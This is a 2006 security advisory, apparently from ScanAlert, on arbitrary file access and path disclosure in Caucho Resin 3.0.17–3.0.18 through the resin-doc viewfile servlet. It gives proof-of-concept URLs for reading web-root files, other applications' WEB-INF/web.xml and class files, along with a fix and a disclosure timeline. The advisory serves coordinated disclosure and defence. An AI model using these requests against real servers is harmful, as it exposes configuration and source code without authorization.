ScanAlert Security Advisory

2006-05-17T00:00:00
ID SECURITYVULNS:DOC:12705
Type securityvulns
Reporter Securityvulns
Modified 2006-05-17T00:00:00

Description

ScanAlert Security Advisory http://www.scanalert.com

Caucho Resin Multiple Vulnerabilities - Arbitrary File Access & Information Disclosure

Date: 5/16/06 Vendor: Caucho Package: Resin Version: 3.0.17 and 3.0.18 – Vendor Confirmed Credit: ScanAlert’s Security and Enterprise Services Teams.

Risk: Common Vulnerability Scoring System (CVSS) - http://www.first.org/cvss/intro/

Related Exploit Range: Remote Attack Complexity: Low Level Of Authentication Needed: Not Required
Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None

Overview

Caucho Resin is a high performance, Sun certified J2EE server featuring load balancing for increased reliability. Resin is well known for its flexibility and ease of use, saving both engineering time and staff costs.

Vulnerabilities

Resin contains documentation that is available in the /webapps directory and is an expanded war file available at /resin-doc by default when using the standard resin.conf and Resin directory structure for configuring the application.

This documentation contains a servlet for viewing files within the integrated tutorial:

http://targetsystem/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftut orial%2Fbasic&servletpath=%2Findex.xtp&file=index.jsp&re-marker=&re-start=&r e-end=#code-highlight

The viewfile servlet can easily read any file within the web root with no parameters:

http://targetsystem/resin-doc/viewfile/?file=index.jsp

It is possible to set the context path outside of the resin-doc and read any file on alternate web roots:

http://targetsystem/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath =&file=WEB-INF/web.xml

When resin-doc is installed on a system it is possible to read all files contained within the web root including class files which can then be decompiled to view the Java source:

http://targetsystem/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB- INF/classes/com/webapp/app/target.class

An incorrect path in the request will reveal the absolute installation path:

File not found /C:/customer/sites/deploy/n/wwwroot/WEB-INF/classes/com/webapp/app/non-exist ant.class

Solution:

Remove the resin-doc.war file from all production systems and do not deploy using default configuration files. Upgrade to version 3.0.19 or better.

Resolution Timeline:

Vendor Notification: May 5, 2006 Vendor Response: May 9, 2006 Vendor Fix: May 15, 2006 Coordinated public release of advisory: May 16, 2006



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